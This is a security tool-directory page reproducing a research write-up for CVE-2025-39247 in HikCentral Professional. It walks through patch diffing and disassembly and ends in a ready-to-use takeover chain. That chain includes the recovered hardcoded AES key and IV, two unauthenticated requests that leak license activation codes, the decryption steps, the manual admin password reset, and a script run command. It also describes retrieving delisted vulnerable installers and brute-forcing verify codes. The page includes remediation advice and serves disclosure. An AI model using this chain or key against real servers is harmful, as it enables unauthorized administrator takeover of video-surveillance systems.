Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-39247 — HikCentral Professional - Pre-Auth License ActiveCode Leak | Kitploit
Tools/GitHubGitHub/sita-technologies/cve-2025-39247
ReconnaissanceVulnerability AnalysisExploitationReverse EngineeringInformation GatheringWeb SecurityCryptographyPenetration TestingBinary Analysis
GitHubsita-technologies/cve-2025-39247

CVE-2025-39247

HikCentral Professional - Pre-Auth License ActiveCode Leak

43 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
View Repository

CVE-2025-39247

  • Target: HikCentral Professional (HCMP, central VMS server)
  • CVE: CVE-2025-39247 — Access Control Vulnerability
  • CVSS 3.1: 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
  • Affected: V2.3.1 – V2.6.2 and V3.0.0
  • Fixed: V2.6.3 / V3.0.1 / Fix-Pack CVE-2025-39247
  • Disclosed: 2025-08-28
  • Analysis date: 2026-05-21

1. Open-source intelligence pass

Before downloading anything, what's already public:

SourceWhat it tells us
Hikvision security advisory"Missing authentication checks on API endpoints", advice to upgrade to V2.6.3 / V3.0.1
NVD CVE-2025-39247CVSS metrics; vector is network, no auth, scope-changed, confidentiality-high
Wiz, ZeroPath, SentinelOne, OffSeq, gbhackers, cybersecuritynews summariesAll restate the advisory; no technical detail, no PoC, no affected endpoint named
GitHub PoC aggregators (poc-in-github, 0xMarcio/cve, etc.)No PoC indexed
Forums (ipcamtalk, cctvforum, reddit), torrent indexersNo PoC, no leaked installers; ipcamtalk has a HikCentral usage thread but nothing exploit-related

So as of analysis date, no public technical write-up exposes the bug. Any reproduction starts from binary diffing.


2. Acquisition

2.1 Vulnerable installer (V2.6.2 Full Pack)

After CVE-2025-39247 was published the V2.6.2 download page was delisted, but the file on the CDN was never purged. The filename can be recovered from a third-party mirror that indexed the page before delisting (FileHorse — published filename and MD5). With that filename, a plain GET to Hikvision's CDN — using only a normal browser User-Agent and a matching Referer header — still serves it.

root@kitploit:~
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0" \
     -H "Referer: https://www.hikvision.com/en/support/download/software/hikcentral-professional-v2-6-2/" \
     -O \
     "https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.202501211507_Win_x64_Installer.exe"

Result:

  • Size: 1,314,043,792 bytes (1.22 GB)
  • MD5: 76d42e7cb16dc0e177b9a35d0fed7ced — matches the FileHorse-published value, confirming the genuine Hikvision-signed installer (not a third-party rebundle)
  • CDN response headers: HTTP/2 200, content-type: application/x-msdownload, eo-cache-status: HIT, age: 2520395 (≈ 29 days in the Tencent EdgeOne edge cache without eviction)

Side observation worth reporting to Hikvision PSIRT: the "delisting" of the V2.6.2 page is cosmetic. The orphaned file is reachable on the CDN with no auth and no signed-URL gate. V2.5.1 and V2.6.0 Full Packs respond the same way.

2.2 Patched installer (V2.6.3 Base Pack)

Currently linked from the V2.6.3 download page; same retrieval method:

root@kitploit:~
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/hcp-2-6-3/HikCentral-Professional_Base-Pack_V2.6.3.202508280142_Win_x64_Installer.exe
  • Size: 932,813,264 bytes (890 MB)
  • Last-Modified: 2025-08-28 (CVE disclosure date)

2.3 Fix-Pack

Still linked from the V2.6.2 download page (Hikvision want users to apply it):

root@kitploit:~
https://www.hikvision.com/content/dam/hikvision/en/support/download/vms/cve-2025-39247-security-vulnerability-patch/HikCentral-Professional_CVE-2025-39247_FixPack_V2.3.1-V2.6.2V3.0.0_20250904.exe
  • Size: 32,599,504 bytes (31 MB)

3. Static extraction

All three are InstallShield-style PE wrappers. 7z peels them in two passes:

root@kitploit:~
# pass 1 — extract PE resources
7z x -o./extracted/v262/pe downloads/<v2.6.2 installer>
7z x -o./extracted/v263/pe downloads/<v2.6.3 installer>

# pass 2 — extract the nested 7-Zip streams hiding in PE resources
# (note: the resource-type label says "ZIP" but the byte signature is 7-Zip)
for ver in v262 v263; do
  for z in extracted/$ver/pe/.rsrc/2052/ZIP/*; do
    sz=$(stat -c %s "$z"); [ "$sz" -lt 1048576 ] && continue
    7z x -o"extracted/$ver/payload/$(basename $z)" "$z"
  done
done

Both installers expand into roughly two dozen named payload archives. The top-level dirs reveal the architecture:

Crucially, there are no Java JARs/WARs anywhere. The backend is C++ on Nginx — important because it tells you up front that any auth flaw will be in compiled binaries, not in WAR/JAR bytecode where decompilation is trivial.


4. File-level diff

root@kitploit:~
# Build inventories
for ver in v262 v263: find . -type f -print0 | xargs -0 md5sum | sort -k2 > inv_$ver.txt

# Sets:  common-path + different MD5  →  the patched files
v262 = {ln[34:]: ln[:32] for ln in open("inv_v262.txt")}
v263 = {ln[34:]: ln[:32] for ln in open("inv_v263.txt")}
common = set(v262) & set(v263)
changed = [p for p in common if v262[p] != v263[p]]

Result: 239 changed files in common paths. Distribution:

After filtering out vendor-SDK refresh, build-system timestamp drift, and pure cosmetic asset bumps, the actual security-relevant deltas reduce to:

  • One Nginx config file
  • A small number of C++ binaries in 282/ (most prominently platform.dll, the HCMP backend service, +57 KB)

5. The Nginx diff: free-of-charge bug location

diff -u nginx_location.conf between V2.6.2 and V2.6.3 produces exactly one hunk: a brand-new location = block in V2.6.3.

root@kitploit:~
#禁止非127.0.0.1和::1的重置密码                   ← "Forbid non-127.0.0.1/::1 password reset"
location = /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword {
    if ($remote_addr ~ ^(127\.0\.0\.1|::1)$) { set $allowed 1; }
    if ($allowed != "1")   { return 403; }
    if ($scheme = "http")  { proxy_pass http://http_backend;  }
    if ($scheme = "https") { proxy_pass http://http2_backend; }
}

That single 21-line addition is the entire CVE-2025-39247 fix at the front-door tier, and it tells you everything:

  • Endpoint: PUT /ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword
  • Bug class: in V2.6.2 the request falls through the catch-all /ISAPI/Bumblebee/Platform/V0/* proxy directive to the backend with no remote-address restriction and no Nginx-level authentication check.
  • Backend semantics: the handler exists to set the initial default-admin password during install (i.e., trusts the caller is the local installer); the fix makes that trust explicit.

The Chinese comment matters: it translates literally to "Forbid password reset from non-127.0.0.1/::1".


6. Request shape from the Web UI

The Web UI JavaScript (minified, in 246/www/Portal/*.js) calls the endpoint as:

root@kitploit:~
// API definition (de-minified):
changeDefaultUserPassword: function (sid, payload, opts) {
  return http.put({
    url:    "ISAPI/Bumblebee/Platform/V0/Permission/ChangeDefaultUserPassword",
    data:   { ChangeDefaultUserPasswordRequest: payload },
    params: { SID: sid }
  }, opts);
}

// Call site:
changeDefaultUserPassword(n.SID, {
    UserName:     form.userName,                         // "admin"
    Password:     jsEncrypt.encrypt(form.newPassword),   // RSA-PKCS1v15
    ActiveCode:   form.activeCode ? jsEncrypt.encrypt(form.activeCode) : "",
    QuestionList: questionAnswers                        // [{ID, Answer}, …] or []
}, ...);

// The RSA pubkey comes from another unauthenticated endpoint:
getCrypto: function () {
    http.get({ url: "ISAPI/Bumblebee/Platform/V0/Security/Crypto" });
}
// returns: { CryptoKey: <PEM/base64 RSA pubkey>, ... }

So even before disassembling anything, the public-facing JS gives you the full wire shape. But it also reveals the awkward part: the request body needs either a valid ActiveCode or correct QuestionList answers. Sending empty values does not work — the backend rejects with one of the documented errors (verified by string-mining platform.dll, §7).

So CVE-2025-39247 is not "the endpoint is auth-bypass; send empty fields and the password changes". It is "the endpoint trusts a local-only caller to already have the right ActiveCode; the bug is that the network-level localhost gate is missing, so any remote caller who can also supply a valid ActiveCode or QuestionList succeeds." Therefore the real exploit puzzle is: where does the ActiveCode or QuestionList come from?


7. Backend handler — string-mining platform.dll

platform.dll is the HCMP backend service, 46.87 MB in V2.6.2, 46.93 MB in V2.6.3 (+57 KB). All routing strings, log format strings, and C++ RTTI / __FUNCTION__ strings are present in the clear.

Strings inside platform.dll around the handler:

root@kitploit:~
VSMPlatform::CCmd::Security_ChangeDefaultUserPassword
..\..\src\vsmplatform\NetworkComm\ISAPI\CmdHandle\SecurityCmd.cpp
/ChangeDefaultUserPasswordRequest/UserName
/ChangeDefaultUserPasswordRequest/Password
/ChangeDefaultUserPasswordRequest/ActiveCode
/ChangeDefaultUserPasswordRequest/CryptoKey
/ChangeDefaultUserPasswordRequest/QuestionList
/ChangeDefaultUserPasswordRequest/QuestionList[%d]/Answer

[%s]IP=[%s] Reqest Paramter active_code and security_question both empty!
[%s]invalid active_code=%s
[%s]security question verify fail
[%s]IP=[%s] Isn't Super User!
[%s]IP=[%s] User Not Exist!
[%s]RSADecrypt fail! err_code=%d session=%s encrypt_str_id=%s encrypt_answer=%s
[%s] ChangeDefaultUserPassword by ip[%s].

Both versions of platform.dll contain these strings. So the validation logic exists in V2.6.2 too — ActiveCode and QuestionList are checked.

7.1 What is V2.6.3 new in this handler? (defence-in-depth fingerprints)

Strings that exist in V2.6.3 platform.dll and not in V2.6.2:

root@kitploit:~
# An entirely new C++ class — rate-limit / lockout subsystem:
VSMPlatform::CRetrievePwdByQuesFreezeManager::AddAccountLoginFailCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::ClearAccountFreeze
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountFreezeSurplusCount
VSMPlatform::CRetrievePwdByQuesFreezeManager::GetAccountLockRemainingFreezeTime
VSMPlatform::CRetrievePwdByQuesFreezeManager::IsAccountFreeze
..\..\src\vsmplatform\Authentication\UserLogin\Freeze\RetrievePwdByQuesFreezeManager.cpp
[%s]AddAccountLoginFailCount only admin can lock, but id: %d

# Application-level remote-addr literal:
127.0.0.1

# Literal "admin" appearing twice near the handler:
admin

# Token validation:
VSMPlatform::CCmd::CheckToken
/ResponseStatus/Data/TokenValid
[%s]token = %s, session = %s

# Lockout/throttle response fields:
/ResponseStatus/Data/RetrievePasswordResult/RemainingNumber
/ResponseStatus/Data/RetrievePasswordResult/LockRemainTime
/ResponseStatus/Data/RetrievePasswordResult/RemainingType

Translation: V2.6.2 had no rate-limit on the ChangeDefaultUserPassword validation path. An attacker who supplies a wrong ActiveCode or wrong security-question answers just gets an error and can retry indefinitely. The verify-code format string %06d is also in platform.dll (along with the SQL schema verify_code VARCHAR(64)), confirming the email verify code is a 6-digit decimal, search-space 10⁶.

This is already a viable exploit (path A): trigger SendVerifyCode, brute-force 10⁶ codes inside the expiry window with no lockout. At 1000 req/s mean time-to-success ≈ 8 minutes. But there is a sharper path.


8. The pre-auth information-disclosure surface

The endpoint enumeration in platform.dll reveals several siblings that look related:

root@kitploit:~
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrieveStateInfo
/ISAPI/Bumblebee/Platform/V0/Permission/Users/RetrievePasswordWithName
/ISAPI/Bumblebee/Platform/V0/Permission/Users/SendVerifyCode
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestion
/ISAPI/Bumblebee/Platform/V0/Security/SecurityQuestionCheck
/ISAPI/Bumblebee/Platform/V0/Security/Crypto
/ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode

None of these is restricted by nginx_location.conf; all go through the same default /ISAPI/Bumblebee/Platform/* proxy. The handler strings show what they return:

root@kitploit:~
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Email
/ResponseStatus/Data/UserRetrieveStateInfo/Info/Name
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RetrieveType
/ResponseStatus/Data/UserRetrieveStateInfo/Info/RemainVerityCodeTimeout
/ResponseStatus/Data/UserRetrieveStateInfo/SystemMailSetted
/ResponseStatus/Data/UserRetrieveStateInfo/SecurityQuestionSetted
/ResponseStatus/Data/UserRetrieveStateInfo/AllowRetrieve

So RetrieveStateInfo(Name=admin) returns admin's email, whether security-question recovery is configured, whether email recovery is configured, and the remaining lifetime of any in-flight verify code — to anyone, unauthenticated.

RetrieveStateInfo is not locked down by the V2.6.3 patch. The information disclosure persists in V2.6.3.


9. The license/QR attack surface

Endpoint /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode is striking because its name pairs License with ActiveCode — and the password-reset handler accepts an ActiveCode field too. That's a suspicious overlap of terminology.

Strings reachable from that handler:

root@kitploit:~
License:%s;DZP:%s                                    ← QR plaintext format
[%s]PrivateAESEncrptQRCode failed! data:%s           ← AES path used to encrypt
[%s]Base64Encode failed! data:%s                     ← then base64
/ResponseStatus/Data/QRCode                          ← response field
https://www.hikvision.com/en/support/how-to/how-to-video/?SN=%s

So the QR is Base64( AES-128-CBC-PKCS7( "License:<ActiveCode>;DZP:<DeviceCode>" ) ) and the plaintext literally contains the per-install license ActiveCode that the password-reset endpoint validates. The QR is wrapped in a URL template https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<base64-of-ciphertext> which is then rendered as a QR-PNG; the PNG is what the JSON response field Data.QRCode returns.

Confirmation by V2.6.3 diff: the format string License:%s;DZP:%s exists in V2.6.2 platform.dll and is removed in V2.6.3. The QR endpoint itself, the PrivateAESEncrptQRCode function symbol, and the IV literal (§10) all persist in V2.6.3 — only the leaky plaintext format was excised. That's exactly what you'd expect Hikvision's fix to look like.


10. Recovering the AES key and IV by disassembly

This is the work-heavy step. Plan:

  1. Find the function VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode in platform.dll.
  2. Read its setup of key + IV.
  3. Either both are literal bytes you can read off, or they're computed — in which case follow the computation.

10.1 Locating the function

The error format string [%s]PrivateAESEncrptQRCode failed! data:%s lives in .rdata. Find its .rdata VMA, then scan .text for lea r, [rip + rel32] instructions that resolve to that VMA. (For 16 MB of .text this takes a few seconds with pefile + capstone doing a linear walk for the REX.W + 8D + MODRM mod=00 rm=101 pattern.)

The error log is referenced from exactly one instruction at 0x1812553f7. Walking up to the enclosing function via .pdata (the PE x64 unwind table — section header parseable with pefile, twelve bytes per RUNTIME_FUNCTION entry: start_RVA, end_RVA, unwind_RVA) gives the outer ISAPI handler CLicenseISAPIComm::ActiveCodeQRcode at 0x181254cc0..0x181255919.

That outer function builds the "License:%s;DZP:%s" plaintext string and base64-encodes the result; the actual AES call is in a helper one level down, at 0x18002a397 (resolves via a jmp thunk to a 502-byte function whose RTTI string is VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode — confirmed by string xref).

10.2 Inside the AES wrapper at 0x1807d33e0

Disassembling the 502-byte body and listing every lea r, [rip + rel32] whose target lands in .rdata returns just 5 stringrefs:

root@kitploit:~
0x1807d34d2  -> 0x18200b1b0  len=16  'AaBbCcDd1234!@#$'           ← 16 bytes of letters/digits/symbols
0x1807d3516  -> 0x18200b1d0  len=48  '..\..\src\vsmplatform\Common\PrivateAESEncrypt\PrivateAESEncrypt.cpp'
0x1807d352a  -> 0x18200b218  len=48  'VSMPlatform::PrivateEncrypt::PrivateAESEncrptQRCode'
0x1807d3531  -> 0x18200b250  len=23  '[%s]error is %d[%s(%d)]'
0x1807d3538  -> 0x18200b268  len=23  'platform.PriorityLogger'

The first entry is the only 16-byte stringref. That length is suspicious: AES block / key / IV are all 16 bytes for AES-128. The literal AaBbCcDd1234!@#$ — eight alternating-case letter pairs followed by 1234!@#$ — is also the textbook "developer placeholder constant" shape (similar to the real BAADF00D / DEADBEEF ASCII idioms). At this point a sensible hypothesis is "this is the IV".

That hypothesis is supported by the disassembly context. The instruction sequence around the stringref:

root@kitploit:~
; ... build first 16 bytes of something into buffer at [rsp+0xc0] ...
mov  dword ptr [rsp + 0x100], 5             ; some flag = 5
lea  rdx, [rip + 0x1837cd7]                 ; <— loads "AaBbCcDd1234!@#$"
lea  rcx, [rsp + 0xe0]                      ; destination
call <thunk>                                ; std::string assign-like; copies 16B into [rsp+0xe0]
mov  dword ptr [rsp + 0x104], 1
lea  rdx, [rsp + 0xa0]                      ; pass: rdx = key  (16B at [rsp+0xa0])
lea  rcx, [rsp + 0x60]                      ; pass: rcx = output buffer
call <encrypt-wrapper at 0x180007563>       ; → 0x181b03790, a generic AES mode-dispatcher
                                            ;   that imports AES_cbc_encrypt, AES_cfb128_encrypt,
                                            ;   AES_ecb_encrypt and AES_ofb128_encrypt.
                                            ;   QR path takes the AES_cbc_encrypt branch.

So [rsp+0xe0] ends up holding the IV bytes, [rsp+0xa0] holds 16 bytes built earlier into [rsp+0xc0] (the key), and these two buffers are then passed to the OpenSSL wrapper. Confirming the IV recovery is just a matter of cross-checking: V2.6.3's platform.dll still contains the literal AaBbCcDd1234!@#$ at the same offset — Hikvision did not rotate the IV, which is the correct cryptographic choice (only the key needs to be secret, the IV needs to be unique-per-message, but a fixed IV is "weak" not "broken" the way a fixed key is).

10.3 The key build

Immediately above the IV stringref, the wrapper sets up the key with this short sequence:

root@kitploit:~
mov  dl, 0x41                               ; seed byte = 'A'
lea  rcx, [rsp + 0x140]                     ; this-pointer for a local buffer
call <thunk 0x1800683fe>                    ; → 0x1807d19b0  (599-byte function)
mov  [rsp + 0x50], rax
mov  rdx, [rsp + 0x50]                      ; rdx = pointer to the 16-byte buffer the call just produced
lea  rcx, [rsp + 0xc0]
call <std::string assign>                   ; copy the 16 bytes into the key buffer at [rsp+0xc0]

Then disassembling 0x1807d19b0: it is a pure-arithmetic key-derivation function. It takes one byte as input (the 0x41), allocates 16 stack bytes, and writes 16 values each computed as seed + offset_i for a hardcoded sequence of 16 signed offsets:

root@kitploit:~
+0x16, +0x36, +0x17, +0x37, +0x18, +0x38, +0x19, +0x39,
−0x10, −0x0F, −0x0E, −0x0D, −0x20, −0x01, −0x1E, −0x1D

With seed 0x41 ('A'):

10.4 Recovered cryptographic material

root@kitploit:~
Algorithm:  AES-128-CBC with PKCS7 padding
IV   (16):  41 61 42 62 43 63 44 64 31 32 33 34 21 40 23 24   →  AaBbCcDd1234!@#$
KEY  (16):  57 77 58 78 59 79 5A 7A 31 32 33 34 21 40 23 24   →  WwXxYyZz1234!@#$

Same arithmetic family. Same trailing 8 bytes (1234!@#$). Both are binary-embedded constants identical across every V2.6.2 install (and across V2.3.1 .. V2.6.2 and V3.0.0 — they share the QR-encrypt path), so a one-time recovery from one copy of platform.dll is enough to decrypt the QR from any vulnerable HCMP server on the network.


11. End-to-end chain

The chain splits cleanly into two halves:

  • Halves 1-3 are an unauthenticated information-disclosure problem in HCMP. They run against the target with two read-only requests and recover a per-install secret (the License ActiveCode) from a pre-login endpoint.
  • Halves 4-5 are the takeover performed by submitting the recovered ActiveCode to HCMP's legitimate "Forgot password" workflow through the normal Web UI. No special HTTP request is needed — the operator clicks through the same form a legitimate user would.

The split matters: it lets the reference PoC be implemented as a pure recon tool with no destructive code path anywhere in it (the UI workflow stays human-in-the-loop).

root@kitploit:~
HALF 1 — automated recon (recovers the ActiveCode):

1. POST  /ISAPI/Bumblebee/Platform/V0/Security/Crypto?MT=GET   (empty body)
         (unauthenticated, read-only)
         → ResponseStatus.Data.CryptoResponse.{SID, CryptoKey, CryptoType, CryptoMode}
         → SID is a server-issued anonymous session token used by step 2.

2. POST  /ISAPI/Bumblebee/Platform/V1/License/ActiveCode/QRCode?MT=GET&SID=<sid>
         (empty body, unauthenticated, read-only)
         → ResponseStatus.Data.QRCode = base64( PNG image of a QR code )
         The QR's payload is the URL template
             https://www.hikvision.com/en/support/how-to/how-to-video/?SN=<b64>
         where  <b64> = base64(
                          AES-128-CBC-PKCS7(
                            KEY = WwXxYyZz1234!@#$,
                            IV  = AaBbCcDd1234!@#$,
                            PT  = "License:<code>[,<code>...];DZP:<devicecode>"))
         The License field is a COMMA-SEPARATED LIST of one or more ActiveCodes
         (one per licensed module on the target). Any single ActiveCode in
         that list is accepted by the takeover workflow in HALF 2.

3. Locally:
     a. base64-decode the QRCode field → PNG bytes
     b. decode the QR (e.g. pyzbar)     → URL string
     c. extract the SN= parameter (DO NOT use form-decode — '+' is a valid
        base64 character that must survive verbatim)
     d. base64-decode                   → 16N bytes of AES ciphertext
     e. AES-128-CBC decrypt with the hardcoded KEY+IV, PKCS7-unpad
     f. split on  "License:" / "," / ";DZP:"
     → list of ActiveCodes in plaintext.

HALF 2 — manual takeover via the legitimate Web UI:

4. Open  https://<target>:<port>  in a browser.
5. Click «Forgot password».
6. Username                 →  admin
7. Recovery method          →  «Activation code»  (NOT email / questions)
8. Activation code          →  <one of the recovered ActiveCodes>
9. Choose & confirm a new admin password.
10. Log in as admin with the new password.

No brute force, no social engineering, no prior knowledge except the 16-byte KEY+IV pair that's recoverable once from one V2.6.2 platform.dll and identical across every install of every vulnerable version. Halves 4-10 are performed manually by the operator through the legitimate UI — there is no automated equivalent in the reference PoC.

Implementation: poc/cve_2025_39247_poc.py — a recon-only Python script. It performs HALF 1 (two pre-auth read-only POSTs) and then prints the manual recipe (steps 4-10) with the operator's target URL and the recovered ActiveCode(s) filled in. The script contains no code that writes to the target; HALF 2 is performed manually through the Web UI so the tool remains a verification instrument rather than a fire-and-forget weapon.

Run:

root@kitploit:~
python3 poc/cve_2025_39247_poc.py https://<TARGET>:<PORT>

Two --qr-* flags let the script run entirely offline against a captured QR (for analysis without re-hitting a target):

  • --qr-scanned-text '<value>' — paste the text content of a scanned QR
  • --qr-ciphertext-hex <hex> — feed pre-extracted base64-decoded AES ciphertext

12. What V2.6.3 (and the Fix-Pack) actually changed

The Fix-Pack ships an extra moving part the V2.6.3 release doesn't need: a whitebox-AES decryptor (wbext_dec.exe, source path leaks D:\Workspace\SVN\WhiteBox\trunk\apps\src\ossl_aes.c, uses its own fixed_iv_16byte IV literal) plus a 244-byte AES-128-CFB ciphertext (wbaes_key_dec). The decryptor takes the ciphertext blob and produces a new plaintext key, which the Fix-Pack installer writes into HCMP's storage to rotate the binary-embedded QR key on existing V2.6.2 installations. Whitebox-AES is used here purely to make the rotated key inconvenient to lift back out of the patch artefact by inspection — the same defensive technique used by DRM systems.


13. Recommended remediation actions (beyond the released patches)

  1. Purge the orphaned installer binaries from the CDN. …/vms/hcp-2-6-2/HikCentral-Professional_Full-Pack_V2.6.2.…exe still serves HTTP/2 200 with a 29-day-old edge-cache hit. The same is true for V2.6.0, V2.5.1 etc. — every installer in the vulnerable range is still reachable by direct URL. The page-level delisting is cosmetic.
  2. Authenticate RetrieveStateInfo and GetSecurityQuestionCommBeforeLogin. Both leak admin email and recovery-configuration metadata to anonymous callers in V2.6.3 as well; neither was touched by the fix.
  3. Stop using ASCII-placeholder constants as cryptographic key material. WwXxYyZz1234!@#$ is the kind of value that survives "code review by skim". Replace with per-install random material at first run; if backward compatibility requires a binary-embedded fallback, at minimum derive it from a hash of installation-specific state (machine GUID, install timestamp) so it varies per deployment.
  4. Treat "the IV doesn't need to be secret" as a footgun, not a license. Keeping the IV literal even after disclosure is mathematically defensible in CBC but produces unnecessary attacker affordance once the diff exposes the rotation as key-only.
  5. For the family of ChangeDefault* endpoints, prefer a Unix-domain-socket / loopback-only listener at the application layer over an Nginx config restriction. A config file is one mis-edit away from re-introducing the bug; a bind 127.0.0.1 in the C++ service is structurally safer.
Download Tool
ArchiveContents
246/Nginx + 246/wwwNginx web tier (the front door) and the SPA web UI
244/binNative C++ service binaries + certs
240Bundled PostgreSQL + DB init scripts
238Bee* runtime (BeeAgent, BeeGuard, …)
282Application services and addons (the bulk of the C++ backend code)
281, 283-284, 396, 398-399, 513, 520, 538-541, 573Smaller addons, plugins, upgrade/uninstall stubs
BucketCountComment
246/www/*.js (Web UI chunks)~200Mostly version-bumped asset hashes; ignore
246/Nginx/conf/nginx_location.conf1Single-file Nginx config delta — start here
246/Nginx*/install.bat6Install scripts, unrelated
244/bin/*.{exe,dll}6Native binaries (DistributionFilter.dll, FilterChain.dll, media tools)
282/*.{exe,dll}55Application services (the largest cluster — platform.dll, PersonCredential.dll, baseacs.*, …)
240/bin/pg_*6Postgres rebuild, unrelated
284/hplugin/dahua_plugin/*4Vendor SDK refresh (+10.97 MB) — unrelated
284/hplugin/onvif_plugin/*4Vendor SDK refresh (+0.99 MB) — unrelated
upgrade/uninstall stubs, crash reporters~30Same-size PE timestamp rebuilds, ignore
posoffsetbytechar
0+220x57W
1+540x77w
2+230x58X
3+550x78x
4+240x59Y
5+560x79y
6+250x5AZ
7+570x7Az
8−160x311
9−150x322
10−140x333
11−130x344
12−320x21!
13−10x40@
14−300x23#
15−290x24$
DefenceV2.6.2V2.6.3Fix-Pack on V2.6.2
Nginx remote-addr restriction on ChangeDefaultUserPasswordabsentaddedadded (via InstallShield script in the Fix-Pack EXE — confirmed by the strings \VSM Servers\Web Service\Nginx\conf\nginx_location.conf / _bak.conf inside the Fix-Pack's installer engine)
App-level 127.0.0.1 literal check in handlerabsentaddednot added (Fix-Pack doesn't patch platform.dll)
Per-account lockout (CRetrievePwdByQuesFreezeManager)absentadded (admin-only)not added
CheckToken validation stepabsentaddednot added
QR plaintext contains License:<ActiveCode>;DZP:...YESremovednot changed (Fix-Pack doesn't patch platform.dll)
QR AES keyrecoverable from binaryrotated or unused (depends on whether the plaintext-format change rendered the path dead)rotated via wbaes_key_dec + whitebox-AES decryptor in the Fix-Pack
QR AES IVAaBbCcDd1234!@#$unchangedunchanged
RetrieveStateInfo info disclosureleaksstill leaksstill leaks
GetSecurityQuestionCommBeforeLoginleaksstill leaksstill leaks
Vulnerable installer reachable on Hikvision CDNyesyesyes